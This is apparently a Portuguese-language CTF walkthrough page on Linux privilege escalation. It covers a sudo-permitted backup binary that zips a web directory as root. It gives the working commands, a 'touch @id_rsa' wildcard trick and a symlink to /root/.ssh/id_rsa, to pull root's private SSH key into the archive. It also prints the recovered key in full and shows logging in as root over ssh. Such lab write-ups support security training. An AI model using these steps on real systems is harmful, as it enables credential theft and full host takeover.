> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo ligação simbólica para binário de backup - Escalação de privilégios no Linux

Anotações sobre sudo (binário de backup / ligação simbólica) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

A escalada de privilégios no sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell de root. Esta página específica foca em **Sudo (binário de backup / link simbólico)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

### Exploração do binário do Sudoers:

Ao executar o `sudo -l` comando como um `xander` usuário, você pode executar o `usage_management` binário com três opções:

1. *`Backup do Projeto`*
2. *`Fazer backup dos dados do MySQL`*
3. *`Redefinir senha do administrador`*

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao selecionar a primeira opção ("Backup do Projeto"), o programa cria um `.zip` arquivo com um backup como um `root` usuário.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### Análise Binária (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instale e execute o GHIDRA para analisar o binário:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* No `Backup do Projeto` função, este recurso compacta o conteúdo de `/var/www/html` em um `project.zip` arquivo com privilégios de root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Criado um link simbólico para acessar a chave SSH de root**: Para explorar este recurso, crie um link simbólico para a chave SSH de root no `html` diretório

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**Execução do script como usuário root**:

* Execute o script `usage_management` :

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* No `project.zip` arquivo, obtenha a chave privada de root (`id_rsa`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexão SSH com a chave de root**:

* Use a chave para fazer login como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>


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